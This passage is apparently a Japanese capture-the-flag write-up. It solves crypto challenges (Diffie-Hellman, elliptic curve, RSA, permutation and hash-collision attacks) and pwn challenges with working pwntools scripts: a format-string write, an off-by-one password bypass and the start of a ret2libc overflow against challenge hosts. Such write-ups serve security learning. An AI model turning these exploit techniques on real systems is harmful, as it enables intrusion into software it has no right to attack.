key = l2b(0x850c1413787c389e0b34437a6828a1b2)
ct = l2b(0xb36c62d96d9daaa90634242e1e6c76556d020de35f7a3b248ed71351cc3f3da97d4d8fd0ebc5c06a655eb57f2b250dcb2b39c8b2000297f635ce4a44110ec66596c50624d6ab582b2fd92228a21ad9eece4729e589aba644393f57736a0b870308ff00d778214f238056b8cf5721a843)

cipher = Cipher(key)
pt = cipher.decrypt(ct)
print(pt)

Blunt (easy)

Valuing your life, you evade the other parties as much as you can, forsaking the piles of weaponry and the vantage points in favour of the depths of the jungle. As you jump through the trees and evade the traps lining the forest floor, a glint of metal catches your eye. Cautious, you creep around, careful not to trigger any sensors. Lying there is a knife - damaged and blunt, but a knife nonetheless. You’re not helpless any more.

Diffie-Hellman 鍵交換をしているが,法となる素数が 32 ビットでかなり小さいので SageMath で解ける.

from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from Crypto.Util.number import long_to_bytes
from hashlib import sha256

p = 0xdd6cc28d
g = 0x83e21c05
A = 0xcfabb6dd
B = 0xc4a21ba9
ciphertext = b'\x94\x99\x01\xd1\xad\x95\xe0\x13\xb3\xacZj{\x97|z\x1a(&\xe8\x01\xe4Y\x08\xc4\xbeN\xcd\xb2*\xe6{'

Gp = GF(p)
a = discrete_log(Gp(A), Gp(g))
C = pow(B, a, p)

hash = sha256()
hash.update(long_to_bytes(int(C)))

key = hash.digest()[:16]
iv = b'\xc1V2\xe7\xed\xc7@8\xf9\\\xef\x80\xd7\x80L*'
cipher = AES.new(key, AES.MODE_CBC, iv)

decrypted = cipher.decrypt(ciphertext)
print(unpad(decrypted, 16))

Arranged (medium)

Noiselessly turning the corner, you see before you two men. In a former life, the two were best friends; pressure and pain has reduced them to mere animals, single-minded automatons devoid of emotion or feeling. The sickening, grim reality of the competition is that it is what it is designed to do, and none escape the inevitable doom. You raise your bow and bury two arrows into their chests; given their past, it was the least you could do. Death would be kinder to them than life.

楕円曲線のパラメータに関して,$a$ の値はわかっているが,法 $p$ と $b$ はわかっていない.
この楕円曲線の点 $G, A, B$ は知っている.

まず,楕円曲線のパラメータを明らかにする.
変数 $k$ を導入すると
$x^3 + ax - y^2 = -b - pk$
が成り立つ.

この左辺の値は点 $G, A, B$ に関してすべて既知であり,左辺をそれぞれ $v_G, v_A, v_B$ とすると,
$
v_G - v_A = p(k_A - k_G)
$
$
v_G - v_B = p(k_B - k_G)
$
が求められる.

これら二式の最大公約数の因数に $p$ が含まれ,それぞれの点のビット数から $p$ が 512 ビット程度であることがわかっているので,$p$ が特定できる.
$p$ がわかれば,$b$ も求められる.

この楕円曲線の位数を調べると

3 * 11 * 11083 * 158891976157 * 2765398164119471845679537 * 42385839609119847981687315989958597872426287921053281715387298610544914074796000735191365424475610749221191457367

となり,位数が素数でないので Pohlig-Hellman アルゴリズムが使えそう.
最後の因数がかなり大きいため,点 $A$ と点 $B$ について小さい因数に対してのみ Pohlig-Hellman アルゴリズムを使うことも考えたが,通常の Pohlig-Hellman アルゴリズムを試してみると,priv_a が 4 と小さいため?簡単に求まる.

from Crypto.Cipher import AES
from Crypto.Util.number import long_to_bytes
from hashlib import sha256

a = 726
G = (926644437000604217447316655857202297402572559368538978912888106419470011487878351667380679323664062362524967242819810112524880301882054682462685841995367, 4856802955780604241403155772782614224057462426619061437325274365157616489963087648882578621484232159439344263863246191729458550632500259702851115715803253)
A = (6174416269259286934151093673164493189253884617479643341333149124572806980379124586263533252636111274525178176274923169261099721987218035121599399265706997, 2456156841357590320251214761807569562271603953403894230401577941817844043774935363309919542532110972731996540328492565967313383895865130190496346350907696)
B = (4226762176873291628054959228555764767094892520498623417484902164747532571129516149589498324130156426781285021938363575037142149243496535991590582169062734, 425803237362195796450773819823046131597391930883675502922975433050925120921590881749610863732987162129269250945941632435026800264517318677407220354869865)
enc = b'V\x1b\xc6&\x04Z\xb0c\xec\x1a\tn\xd9\xa6(\xc1\xe1\xc5I\xf5\x1c\xd3\xa7\xdd\xa0\x84j\x9bob\x9d"\xd8\xf7\x98?^\x9dA{\xde\x08\x8f\x84i\xbf\x1f\xab'

valG = G[0]^3 + a * G[0] - G[1]^2
valA = A[0]^3 + a * A[0] - A[1]^2
valB = B[0]^3 + a * B[0] - B[1]^2
p_cands = factor(GCD(valG - valA, valG - valB))
p = max(p_cands)[0]
b = (G[1]^2 - G[0]^3 - a * G[0]) % p
print(f'{p = }')
print(f'{b = }')

F = GF(p)
E = EllipticCurve(F, [726, b])
G = E(926644437000604217447316655857202297402572559368538978912888106419470011487878351667380679323664062362524967242819810112524880301882054682462685841995367, 4856802955780604241403155772782614224057462426619061437325274365157616489963087648882578621484232159439344263863246191729458550632500259702851115715803253)
A = E(A)
B = E(B)
# print(factor(E.order()))
## 3 * 11 * 11083 * 158891976157 * 2765398164119471845679537 * 42385839609119847981687315989958597872426287921053281715387298610544914074796000735191365424475610749221191457367

priv_a = discrete_log(A, G, operation='+')
print(f'{priv_a = }')

C = priv_a * B

secret = C[0]

hash = sha256()
hash.update(long_to_bytes(int(secret)))

key = hash.digest()[16:32]
iv = b'u\x8fo\x9aK\xc5\x17\xa7>[\x18\xa3\xc5\x11\x9en'
cipher = AES.new(key, AES.MODE_CBC, iv)

dec = cipher.decrypt(enc)
print(dec)

Partial Tenacity (medium)

You find yourself in a labyrinthine expanse where movement is restricted to forward paths only. Each step presents both opportunity and uncertainty, as the correct route remains shrouded in mystery. Your mission is clear: navigate the labyrinth and reach the elusive endpoint. However, there's a twist—you have just one chance to discern the correct path. Should you falter and choose incorrectly, you're cast back to the beginning, forced to restart your journey anew. As you embark on this daunting quest, the labyrinth unfolds before you, its twisting passages and concealed pathways presenting a formidable challenge. With each stride, you must weigh your options carefully, considering every angle and possibility. Yet, despite the daunting odds, there's a glimmer of hope amidst the uncertainty. Hidden throughout the labyrinth are cryptic clues and hints, waiting to be uncovered by the keen-eyed. These hints offer glimpses of the correct path, providing invaluable guidance to those who dare to seek them out. But beware, for time is of the essence, and every moment spent deliberating brings you closer to the brink of failure. With determination and wit as your allies, you must press onward, braving the twists and turns of the labyrinth, in pursuit of victory and escape from the labyrinth's confounding embrace. Are you tenacious enough for that?

$p$ と $q$ に関してはそれぞれ十進数表記において交互の桁の部分がわかっている.
$p$ のわかっている部分よりも $q$ のわかっている部分のほうが短いため,もともとはどちらも奇数桁であったことがわかる.

それぞれ
$
p = p_0 + p_1 10^1 + p_2 10^2 + \dots + p_n 10^n
$
$
q = q_0 + q_1 10^1 + q_2 10^2 + \dots + q_n 10^n
$
とすると ($p_i, q_i$ はそれぞれ十進数で一桁の値)
$
n = pq = p_0 q_0 + (p_0 q_1 + p_1 q_0) 10^1 + (p_0 q_2 + p_1 q_1 + p_2 q_0) 10^2 + \dots
$
となる.

$p_0, p_2, p_4, \dots$ と $q_1, q_3, q_5, \dots$ がわかっているため,$q_0$ に適当な値を設定して $n$ の下一桁と $p_0 \cdot q_0$ の下一桁を比較することで $q_0$ の候補を絞ることができる.
この Branch and Prune の手法で,すべての値を決定することができる.

from Crypto.Util.number import long_to_bytes
import copy
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP

n = 118641897764566817417551054135914458085151243893181692085585606712347004549784923154978949512746946759125187896834583143236980760760749398862405478042140850200893707709475167551056980474794729592748211827841494511437980466936302569013868048998752111754493558258605042130232239629213049847684412075111663446003
ct = 0x7f33a035c6390508cee1d0277f4712bf01a01a46677233f16387fae072d07bdee4f535b0bd66efa4f2475dc8515696cbc4bc2280c20c93726212695d770b0a8295e2bacbd6b59487b329cc36a5516567b948fed368bf02c50a39e6549312dc6badfef84d4e30494e9ef0a47bd97305639c875b16306fcd91146d3d126c1ea476
partial_p = 151441473357136152985216980397525591305875094288738820699069271674022167902643
partial_q = 15624342005774166525024608067426557093567392652723175301615422384508274269305
e = 65537

def main():
    str_n = str(n)
    str_p = str(partial_p)
    str_q = str(partial_q)

    l = 2 * len(str_p) - 1
    lst_p = []
    lst_q = []
    for i in range(l):
        if i % 2 == 0:
            lst_p.append(int(str_p[i // 2]))
            lst_q.append(-1)
        else:
            lst_p.append(-1)
            lst_q.append(int(str_q[(i - 1) // 2]))

    lst_p = lst_p[::-1]
    lst_q = lst_q[::-1]
    
    lst_p, lst_q = search(0, lst_p, lst_q, str_n, l)
    assert -1 not in lst_p
    assert -1 not in lst_q

    lst_p = lst_p[::-1]
    lst_q = lst_q[::-1]

    p = int(''.join(list(map(str, lst_p))))
    q = int(''.join(list(map(str, lst_q))))
    assert n == p * q

    phi = (p - 1) * (q - 1)
    d = pow(e, -1, phi)
    rsa_components = (n, e, d, p, q)
    key = RSA.construct(rsa_components)
    cipher = PKCS1_OAEP.new(key)
    print(cipher.decrypt(long_to_bytes(ct)))

def search(k, lst_p, lst_q, str_n, endk):
    if k == endk:
        return lst_p, lst_q
    
    for cand in range(10):
        cand_lst_p = copy.deepcopy(lst_p)
        cand_lst_q = copy.deepcopy(lst_q)
        if k % 2 == 0:
            assert cand_lst_q[k] == -1
            cand_lst_q[k] = cand
        else:
            assert cand_lst_p[k] == -1
            cand_lst_p[k] = cand
        v = 0
        for i in range(k + 1):
            for j in range(i + 1):
                v += cand_lst_p[j] * cand_lst_q[i - j] * (10 ** i)
        if str(v)[-k-1:] != str_n[-k-1:]:
            continue
        res_p, res_q = search(k + 1, cand_lst_p, cand_lst_q, str_n, endk)
        if res_p != None:
            return res_p, res_q

    return None, None

if __name__ == '__main__':
    main()

Permuted (hard)

You drop to the ground as a voltaic mist of energy surrounds you; within it are the Aranaya, reflections of your emotions that break into the physical world from the spiritual realm. Love, hate, pain and more writhe and dance before your eyes in an endless storm. As one tears into your soul, a lightning bolt strikes your inner being and the emotion remoulds into another. Startled and wide-eyed, you recognise an undeniable truth: they are all reflections of one another, an ecosystem of your being that you could lose forever. Consciousness leaves you as the psychedelic show whirls on. To retain your self, you must brave the storm: a cyclone of patterns, an infinitude of permutations.

置換の積における離散対数問題を解けば良い.
置換なので,巡回置換の積で表現できる.

長さ 10 の置換 $x$ が以下の巡回置換の積で表現できたとすると
$
x = (1 \ 7 \ 5) \ (0 \ 2 \ 9 \ 3 \ 6) \ (4 \ 8)
$
この $x$ から得られる Permutation クラス $g$ の位数は,各巡回置換の長さの積
$3 \cdot 5 \cdot 2 = 30$
となる.

また,各巡回置換についてのみ注目すると位数はその巡回置換の長さになるので,Pohlig-Hellman アルゴリズムが使える.

from sympy.ntheory.modular import crt
from Crypto.Cipher import AES
from Crypto.Util.number import long_to_bytes
from hashlib import sha256

from output import g as g_list
from output import A as A_list
from output import B as B_list
from output import c as enc

class Permutation:
    def __init__(self, mapping):
        self.length = len(mapping)

        assert set(mapping) == set(range(self.length))
        self.mapping = list(mapping)

    def __call__(self, *args, **kwargs):
        idx, *_ = args
        assert idx in range(self.length)
        return self.mapping[idx]

    def __mul__(self, other):
        ans = []

        for i in range(self.length):
            ans.append(self(other(i)))

        return Permutation(ans)

    def __pow__(self, power, modulo=None):
        ans = Permutation.identity(self.length)
        ctr = self

        while power > 0:
            if power % 2 == 1:
                ans *= ctr
            ctr *= ctr
            power //= 2

        return ans

    def __str__(self):
        return str(self.mapping)

    def identity(length):
        return Permutation(range(length))

def main():
    g = Permutation(g_list)
    A = Permutation(A_list)
    B = Permutation(B_list)
    l = len(g_list)

    vs = []
    mods = []

    lst = [False] * l
    for i in range(l):
        if lst[i]:
            continue

        cycle = [i]
        lst[i] = True
        while True:
            j = g_list[cycle[-1]]
            if j == cycle[0]:
                break
            cycle.append(j)
            lst[j] = True
        
        if len(cycle) == 1:
            continue
        
        idx = B_list.index(i)
        for j in range(len(cycle)):
            if cycle[-j - 1] == idx:
                vs.append(j + 1)
                break
        mods.append(len(cycle))

    b, _ = crt(mods, vs)
    print(f'{b = }')
    assert B.mapping == (g**b).mapping
    C = A**b

    sec = tuple(C.mapping)
    sec = hash(sec)
    sec = long_to_bytes(sec)

    hash_func = sha256()
    hash_func.update(sec)

    key = hash_func.digest()[16:32]
    iv = b"mg'g\xce\x08\xdbYN2\x89\xad\xedlY\xb9"

    cipher = AES.new(key, AES.MODE_CBC, iv)

    decrypted = cipher.decrypt(enc)
    print(decrypted)

if __name__ == '__main__':
    main()

ROT128 (insane)

In the eerie stillness of the Bitting village, a dilapidated laboratory lies forgotten and forsaken, its ancient walls whispering secrets of unspeakable horrors. As you awaken within its confines, a shiver runs down your spine, the air thick with the weight of untold darkness. With no recollection of how you came to be here, you begin to explore the place. The dim glow of flickering lights casts long shadows across the worn floors, revealing rusted equipment and decaying machinery. The air is heavy with the scent of decay and abandonment, a tangible reminder of the atrocities that once transpired within these walls. Soon, you uncover the sinister truth lurking within the laboratory's forgotten depths. This place was a chamber of horrors, a breeding ground for abominable experiments in human cloning. The realization sends chills coursing through your veins, your mind reeling at the thought of the atrocities committed in the name of science. But there is no time to dwell on the horrors of the past, because a sinister countdown echoes through the laboratory, its ominous tones a harbinger of impending doom. Racing against the ticking clock, you discover the source of the impending catastrophe—a chemical reactor primed to unleash devastation upon the village. With the weight of the world upon your shoulders, you realize that you alone possess the knowledge to defuse the deadly device. As a chemist, you understand the delicate balance of chemical reactions, and you know that triggering a specific collision multiple times is the key to averting disaster. With steady hands and a racing heart, you get to work. As the seconds tick away, you feel the weight of the world bearing down upon you, but you refuse to falter.

問題設定は以下のようになっている.

独自のハッシュ関数が使われている.

\begin{align}
\textbf{message} &= M_0 || M_1 \\
\textbf{digest} &= D_0 || D_1 \\
\textbf{state} &= (s_0, s_1, s_2, s_3, T_0, T_1) \\
D_0 &= (T_0 << s_0) \oplus (T_1 << s_1) \oplus M_0 \\
D_1 &= (T_0 << s_2) \oplus (T_1 << s_3) \oplus M_1 \\
\end{align}
  • $M_i, D_i, T_i$ はそれぞれ 16 バイト
  • $||$ はバイト列の結合,$<<$ は回転シフトを意味する.

$\textbf{message}, \textbf{digest}$ が与えられるので,この署名となるような $\textbf{state}$ を生成する.

まず,$T_0' = T_0 << s_0$ とすると,$T_0 << s_2 = T_0' << (s_2 - s_0)$ とできる.
よって,$s_0, s_1$ を適当に固定することができ,今回は

sum(user_state[:4]) < 2

となってはいけないので,$s_0 = s_1 = 1$ とする.

$X_0, X_1$ を以下のように定義する.
$
X_0 = D_0 \oplus M_0 = (T_0 << 1) \oplus (T_1 << 1)
$
$
X_1 = D_1 \oplus M_1 = (T_0 << s_2) \oplus (T_1 << s_3)
$

$X_0$ を $s_2 - 1, s_3 - 1$ ビットだけ左回転シフトすると
$
X_0 << (s_2 - 1) = (T_0 << s_2) \oplus (T_1 << s_2)
$
$
X_0 << (s_3 - 1) = (T_0 << s_3) \oplus (T_1 << s_3)
$
となる.

これらと $X_1$ で XOR をとると
$
Y_1 = (X_0 << (s_2 - 1)) \oplus X_1 = (T_1 << s_2) \oplus (T_1 << s_3)
$
$
Y_0 = (X_0 << (s_3 - 1)) \oplus X_1 = (T_0 << s_2) \oplus (T_0 << s_3)
$
となる.

よって,
$
Y_i = (T_i << s_2) \oplus (T_i << s_3)
$
を満たすような $T_i \quad (i \in {0, 1})$ を求めればよい.
このとき,$s_2$ と $s_3$ はそれぞれ 128 通りしか存在しないので,総当たりができるが,実際には適当に選んでも多くの場合この式をみたすような $T_i$ が存在する.

$T_i$ を求めるために行列で考えると,左回転シフトは,下位ビットが上になるような列ベクトルに

M =
\begin{pmatrix}
    0 & 0 & 0 & \cdots & 0 & 1 \\
    1 & 0 & 0 & \cdots & 0 & 0 \\
    0 & 1 & 0 & \cdots & 0 & 0 \\
    & & \ddots & & & \\
    0 & & & & 1 & 0 \\
\end{pmatrix}

をかけることで表現できる.

よって,$Y_i, T_i$ に対応するベクトルを $y_i, t_i$ とすると,
$
y_i = (M^{s_2} + M^{s_3}) \cdot t_i
$
を満たすような $t_i$ を求めれば良いことになる.

from pwn import *
from Crypto.Util.number import long_to_bytes as l2b, bytes_to_long as b2l

_ROL_ = lambda x, i : ((x << i) | (x >> (N-i))) & (2**N - 1)
N = 128

MAT = []
for i in range(N):
    lst = [0] * N
    if i == 0:
        lst[-1] = 1
    else:
        lst[i - 1] = 1
    MAT.append(lst)
MAT = matrix(GF(2), MAT)

HOST, PORT = '94.237.56.118:33376'.split(':')

def main():
    io = remote(HOST, PORT)
    for round in range(3):
        print(f'round: {round + 1}')
        io.recvuntil(b'You know H(')
        res = io.recvline().decode().strip()
        msg, dgt = res.split(') = ')
        msg = int(msg, 16)
        dgt = int(dgt, 16)

        M0 = msg >> N
        M1 = msg & (2**N - 1)
        D0 = dgt >> N
        D1 = dgt & (2**N - 1)
        X0 = M0 ^^ D0
        X1 = M1 ^^ D1

        s2, s3 = 1, (round + 1) * 2

        Y1 = _ROL_(X0, (s2 - 1) % N) ^^ X1
        Y0 = _ROL_(X0, (s3 - 1) % N) ^^ X1

        vec_y0 = int2vec(Y0)
        vec_y1 = int2vec(Y1)
        mat = (MAT^s2) + (MAT^s3)

        try:
            vec_t0 = mat.solve_right(vec_y0)
            vec_t1 = mat.solve_right(vec_y1)
        except Exception:
            return False

        T0 = vec2int(vec_t0)
        T1 = vec2int(vec_t1)

        state = ','.join(list(map(str, [1, 1, s2, s3, T0, T1])))

        io.sendlineafter(b'(format: a,b,c,d,e,f) :: ', state.encode())
        res = io.recvline()
        if not res.startswith(b'Moving on to the next round!'):
            print(res)
            io.close()
            return False
    io.interactive()
    return True

def int2vec(i, n=N):
    res = []
    for _ in range(n):
        res.append(i & 1)
        i >>= 1
    return vector(GF(2), res)

def vec2int(v, n=N):
    res = 0
    for i in range(n):
        res += int(v[i]) * (2**i)
    return res

if __name__ == '__main__':
    while not main():
        pass

Pwn

Tutorial (very easy)

Before we start, practice time!
This is a simple questionnaire to get started with the basics.

◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉
◉                                                                                           ◉
◉  C/C++ provides two macros named INT_MAX and INT_MIN that represent the integer limits.   ◉
◉                                                                                           ◉
◉  INT_MAX = 2147483647                  (for 32-bit Integers)                              ◉
◉  INT_MAX = 9,223,372,036,854,775,807   (for 64-bit Integers)                              ◉
◉                                                                                           ◉
◉  INT_MIN = –2147483648                 (for 32-bit Integers)                              ◉
◉  INT_MIN = –9,223,372,036,854,775,808  (for 64-bit Integers)                              ◉
◉                                                                                           ◉
◉  When this limit is passed, C will proceed with an 'unusual' behavior. For example, if we ◉
◉  add INT_MAX + 1, the result will NOT be 2147483648 as expected, but something else.      ◉
◉                                                                                           ◉
◉  The result will be a negative number and not just a random negative number, but INT_MIN. ◉
◉                                                                                           ◉
◉  This 'odd' behavior, is called Integer Overflow.                                         ◉
◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉

符号付き整数型についての問題を順番に答えていく.

  • 0x1
    [*] Question number 0x1:
    
    Is it possible to get a negative result when adding 2 positive numbers in C? (y/n)
    
    オーバーフローすると負の値になる
    >> y
    
  • 0x2
    [*] Question number 0x2:
    
    What's the MAX 32-bit Integer value in C?
    
    符号付き 32 ビット整数の最大値は 2**31 - 1
    >> 2147483647
    
  • 0x3
    [*] Question number 0x3:
    
    What number would you get if you add INT_MAX and 1?
    
    -2 -> -1 -> 0 -> 1 -> 2 -> $\cdots$ -> 2**31 - 1 -> -2**31 となる
    >> -2147483648
    
  • 0x4
    [*] Question number 0x4:
    
    What number would you get if you add INT_MAX and INT_MAX?
    
    (2**31 - 1 - 1) + (-2**31) なので -2
    >> -2
    
  • 0x5
    [*] Question number 0x5:
    
    What's the name of this bug? (e.g. buffer overflow)
    
    >> integer overflow
    
  • 0x6
    [*] Question number 0x6:
    
    What's the MIN 32-bit Integer value in C? 
    
    -2**31
    >> -2147483648
    
  • 0x7
    [*] Question number 0x7:
    
    What's the number you can add to INT_MAX to get the number -2147482312?
    
    1 - 2147482312 - (-2**31)
    >> 1337
    

Delulu (very easy)

HALT! Recognition protocol initiated. Please present your face for scanning.

セキュリティ機構

└─< spwn
[*] Binary: delulu
[*] Libc:   libc.so.6
[*] Loader: ld-linux-x86-64.so.2

[*] file delulu
ELF 64-bit LSB pie executable
x86-64
dynamically linked
not stripped
[*] checksec delulu
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled
RUNPATH:  b'./glibc/'
Libc version: 2.35
[*] cwe_checker delulu (press Ctrl+C to stop)
[CWE134] (0.1) (Externally Controlled Format String) Potential externally controlled format string for call to printf at 001014cb


[+] Trying to unstrip libc
[!] Could not fetch libc debuginfo for build_id c289da5071a3399de893d2af81d6a30c62646e1e from https://debuginfod.systemtap.org/
[!] Couldn't find debug info for libc with build_id c289da5071a3399de893d2af81d6a30c62646e1e on any debuginfod server.
[!] Failed to unstrip libc

Ghidra でデコンパイルする.

undefined8 main(void)
{
    long in_FS_OFFSET;
    long local_48;
    long *local_40;
    undefined8 local_38;
    undefined8 local_30;
    undefined8 local_28;
    undefined8 local_20;
    long local_10;
    
    local_10 = *(long *)(in_FS_OFFSET + 0x28);
    local_48 = 0x1337babe;
    local_40 = &local_48;
    local_38 = 0;
    local_30 = 0;
    local_28 = 0;
    local_20 = 0;
    read(0,&local_38,0x1f);
    printf("\n[!] Checking.. ");
    printf((char *)&local_38);
    if (local_48 == 0x1337beef) {
        delulu();
    }
    else {
        error("ALERT ALERT ALERT ALERT\n");
    }
    if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
        __stack_chk_fail();
    }
    return 0;
}

printf((char *)&local_38); でユーザからの入力をそのまま printf に渡しているので,書式文字列攻撃ができる.

ターゲットの位置を調べる

>> %p,%p,%p,%p,%p,%p,%p,%p,%p,%p,

[!] Checking.. 0x7ffdd2f162c0,(nil),0x7111ed914887,0x10,0x7fffffff,0x1337babe,0x7ffdd2f183e0,0x70252c70252c7025,0x252c70252c70252c,0x2c70252c70252c70,

0x1337babe のアドレスが格納されている位置なので 7 番目

from pwn import *

binary_name = 'delulu'
exe = ELF(binary_name, checksec=True)
libc = ELF('libc.so.6', checksec=False)
context.binary = exe
context.terminal = ['tmux', 'splitw', '-h']
context.gdbinit = '~/work/notes/others/files/gdbinit_pwndbg'

conv        = lambda *x: tuple(map(lambda y: y.encode() if isinstance(y, str) else y, x))
rc          = lambda *x, **y: io.recv(*conv(*x), **y)
ru          = lambda *x, **y: io.recvuntil(*conv(*x), **y)
rl          = lambda *x, **y: io.recvline(*conv(*x), **y)
rrp         = lambda *x, **y: io.recvrepeat(*conv(*x), **y)
ral         = lambda *x, **y: io.recvall(*conv(*x), **y)
sn          = lambda *x, **y: io.send(*conv(*x), **y)
sl          = lambda *x, **y: io.sendline(*conv(*x), **y)
sa          = lambda *x, **y: io.sendafter(*conv(*x), **y)
sla         = lambda *x, **y: io.sendlineafter(*conv(*x), **y)
gdbattach   = lambda *x, **y: gdb.attach(io, *x, **y)
loginfo     = lambda *x, **y: log.info(' '.join(x), **y)
interact    = lambda *x, **y: io.interactive(*x, **y)

HOST_NAME, PORT = '83.136.252.96 42766'.split()

gdb_script = '''
c
'''
if args.REMOTE:
    io = remote(HOST_NAME, PORT)
elif args.LOCAL:
    io = remote('localhost', PORT)
elif args.GDB:
    io = gdb.debug(f'debug_dir/{binary_name}', gdb_script, aslr=False)
else:
    io = process(f'debug_dir/{binary_name}')

payload = f'%{0x1337beef}x%7$n\n'.encode()
sla(b'>> ', payload)
rl()
rl()

interact()

Writing on the Wall (very easy)

As you approach a password-protected door, a sense of uncertainty envelops you—no clues, no hints. Yet, just as confusion takes hold, your gaze locks onto cryptic markings adorning the nearby wall. Could this be the elusive password, waiting to unveil the door's secrets?

セキュリティ機構

└─< spwn
[*] Binary: writing_on_the_wall
[*] Libc:   libc.so.6
[*] Loader: ld-linux-x86-64.so.2

[*] file writing_on_the_wall
ELF 64-bit LSB pie executable
x86-64
dynamically linked
not stripped
[*] checksec writing_on_the_wall
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled
RUNPATH:  b'./glibc/'
Libc version: 2.35
[*] cwe_checker writing_on_the_wall (press Ctrl+C to stop)



[+] Trying to unstrip libc
[!] Could not fetch libc debuginfo for build_id c289da5071a3399de893d2af81d6a30c62646e1e from https://debuginfod.systemtap.org/
[!] Couldn't find debug info for libc with build_id c289da5071a3399de893d2af81d6a30c62646e1e on any debuginfod server.
[!] Failed to unstrip libc

Ghidra でデコンパイルする.

undefined8 main(void)
{
    int is_same_str;
    long in_FS_OFFSET;
    char user_input [6];
    undefined8 local_18;
    long canary;
    
    canary = *(long *)(in_FS_OFFSET + 0x28);
    local_18 = 0x2073736170743377;
    read(0,user_input,7);
    is_same_str = strcmp(user_input,(char *)&local_18);
    if (is_same_str == 0) {
        open_door();
    }
    else {
        error("You activated the alarm! Troops are coming your way, RUN!\n");
    }
    if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
        __stack_chk_fail();
    }
    return 0;
}

user_input が 6 バイトしか確保されていないのに,7 バイト入力できる.
また,

00101588 48 8d 45 ea     LEA        RAX=>user_input,[RBP + -0x16]

とあるように,

├──────────────────────┼──────────────────────┤
│                      │ (2byte) | user_input │
├──────────────────────┼──────────────────────┤
│      "w3tpass"       │                      │
├──────────────────────┼──────────────────────┤
<---     8 byte    --->

となっている.

先頭の 1 バイトのみ書き換えられるので,どちらも \x00 にすることで,同じ文字列にする.

from pwn import *

binary_name = 'writing_on_the_wall'
exe = ELF(binary_name, checksec=True)
libc = ELF('libc.so.6', checksec=False)
context.binary = exe
context.terminal = ['tmux', 'splitw', '-h']
context.gdbinit = '~/work/notes/others/files/gdbinit_pwndbg'

conv        = lambda *x: tuple(map(lambda y: y.encode() if isinstance(y, str) else y, x))
rc          = lambda *x, **y: io.recv(*conv(*x), **y)
ru          = lambda *x, **y: io.recvuntil(*conv(*x), **y)
rl          = lambda *x, **y: io.recvline(*conv(*x), **y)
rrp         = lambda *x, **y: io.recvrepeat(*conv(*x), **y)
ral         = lambda *x, **y: io.recvall(*conv(*x), **y)
sn          = lambda *x, **y: io.send(*conv(*x), **y)
sl          = lambda *x, **y: io.sendline(*conv(*x), **y)
sa          = lambda *x, **y: io.sendafter(*conv(*x), **y)
sla         = lambda *x, **y: io.sendlineafter(*conv(*x), **y)
gdbattach   = lambda *x, **y: gdb.attach(io, *x, **y)
loginfo     = lambda *x, **y: log.info(' '.join(x), **y)
interact    = lambda *x, **y: io.interactive(*x, **y)

HOST_NAME, PORT = '83.136.252.96 51006'.split()

gdb_script = '''
c
'''
if args.REMOTE:
    io = remote(HOST_NAME, PORT)
elif args.LOCAL:
    io = remote('localhost', PORT)
elif args.GDB:
    io = gdb.debug(f'debug_dir/{binary_name}', gdb_script, aslr=False)
else:
    io = process(f'debug_dir/{binary_name}')

payload = b'\x00' * 7
sla(b'>> ', payload)

interact()

Pet Companion (easy)

Embark on a journey through this expansive reality, where survival hinges on battling foes. In your quest, a loyal companion is essential. Dogs, mutated and implanted with chips, become your customizable allies. Tailor your pet's demeanor—whether happy, angry, sad, or funny—to enhance your bond on this perilous adventure.

セキュリティ機構

└─< spwn
[*] Binary: pet_companion
[*] Libc:   libc.so.6
[*] Loader: ld-linux-x86-64.so.2

[*] file pet_companion
ELF 64-bit LSB executable
x86-64
dynamically linked
not stripped
[*] checksec pet_companion
RELRO:    Full RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)
RUNPATH:  b'./glibc/'
Libc version: 2.27
[*] cwe_checker pet_companion (press Ctrl+C to stop)
[CWE119] (0.3) (Buffer Overflow) Call to read at 004006be may access out-of-bounds memory.


[+] Trying to unstrip libc
[!] Could not fetch libc debuginfo for build_id f7307432a8b162377e77a182b6cc2e53d771ec4b from https://debuginfod.systemtap.org/
[!] Couldn't find debug info for libc with build_id f7307432a8b162377e77a182b6cc2e53d771ec4b on any debuginfod server.
[!] Failed to unstrip libc

Ghidra でデコンパイルする.

undefined8 main(void)
{
    undefined8 local_48;
    undefined8 local_40;
    undefined8 local_38;
    undefined8 local_30;
    undefined8 local_28;
    undefined8 local_20;
    undefined8 local_18;
    undefined8 local_10;
    
    setup();
    local_48 = 0;
    local_40 = 0;
    local_38 = 0;
    local_30 = 0;
    local_28 = 0;
    local_20 = 0;
    local_18 = 0;
    local_10 = 0;
    write(1,"\n[!] Set your pet companion\'s current status: ",0x2e);
    read(0,&local_48,0x100);
    write(1,"\n[*] Configuring...\n\n",0x15);
    return 0;
}

BOF が存在し,canary が存在しない.

GOT から libc のアドレスをリークして ret2main する.

└─< ROPgadget --binary ./pet_companion --re "pop rdi"
Gadgets information
============================================================
0x0000000000400743 : pop rdi ; ret

Unique gadgets found: 1

└─< ROPgadget --binary ./pet_companion --re "pop rsi"
Gadgets information
============================================================
0x0000000000400741 : pop rsi ; pop r15 ; ret

Unique gadgets found: 1
pwndbg> plt
Section .plt 0x4004e0-0x400520:
0x4004f0: write@plt
0x400500: read@plt
0x400510: setvbuf@plt

あとは,もう一度 BOF でリターンアドレスを書き換えられるので system 関数を呼び出す.

└─< readelf -s -W ./libc.so.6 | grep " system"             
1406: 000000000004f420    45 FUNC    WEAK   DEFAULT   13 system@@GLIBC_2.2.5
from pwn import *

